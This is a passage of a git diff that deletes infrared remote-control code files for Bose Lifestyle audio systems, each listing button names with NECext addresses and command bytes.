-command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 53 00 00 00 -# -name: DVD_PLAY -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 55 00 00 00 -# -name: DVD_PAUSE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 56 00 00 00 -# -name: DVD_SKIP_<< -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 57 00 00 00 -# -name: DVD_SKIP_>> -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 58 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 5C 00 00 00 -# -name: DVD_CURSOR_RIGHT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 60 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 80 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 90 00 00 00 -# -name: DVD_REPEAT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 9D 00 00 00 -# -name: DVD_CURSOR_LEFT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: A0 00 00 00 -# -name: DVD_CURSOR_UP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: C0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: C0 00 00 00 -# -name: DVD_GUIDE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: D0 00 00 00 -# -name: DVD_ENTER -type: parsed -protocol: NECext -address: BA 88 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir deleted file mode 100644 index bb750290b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir +++ /dev/null @@ -1,908 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 01 00 00 00 -# -name: VOLYM_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 00 00 00 -# -name: VOLYM_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 05 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 06 00 00 00 -# -name: FM-AM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0D 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 15 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 15 00 00 00 -# -name: CBL-SAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 15 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 18 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 18 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 18 00 00 00 -# -name: TRK/CHPTR/PRE/DWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 18 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 19 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 19 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 19 00 00 00 -# -name: TRK/CHPTR/PRESET/UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 19 00 00 00 -# -name: STOPP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 1A 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 20 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 20 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 30 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 49 00 00 00 -# -name: POWER_ON_OFF -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4D 00 00 00 -# -name: CD_DVD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 53 00 00 00 -# -name: CD-DVD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 56 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 56 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 57 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 57 00 00 00 -# -name: I<<_SEEK -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 57 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 58 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 58 00 00 00 -# -name: >>I_SEEK -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 5C 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 60 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 60 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 60 00 00 00 -# -name: CD# -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 64 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 65 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 65 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 66 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 67 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 67 00 00 00 -# -name: UM_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 68 00 00 00 -# -name: UM_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 70 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 70 00 00 00 -# -name: SETTING -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 80 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 80 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 80 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 8C 00 00 00 -# -name: DVD_MENY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 90 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 90 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 9F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 9F 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: A0 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: A0 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: A0 00 00 00 -# -name: LIBARY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B0 00 00 00 -# -name: STORED_MUSIC -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A0 00 00 -command: B3 00 00 00 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: C0 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: C0 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA A0 00 00 -command: C0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA A0 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A0 00 00 -command: CC 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: D0 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: D0 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: E0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: E0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir deleted file mode 100644 index a9144feec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 05 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 15 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 18 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 45 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 45 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 45 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 45 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 69 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A1 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A1 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA A1 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A1 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A1 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir deleted file mode 100644 index 40a6a78f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 05 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 15 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 18 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 46 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 69 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A2 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A2 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA A2 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A2 00 00 -command: CC 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA A2 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A2 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir deleted file mode 100644 index e5cd709a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 05 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 15 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 18 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: 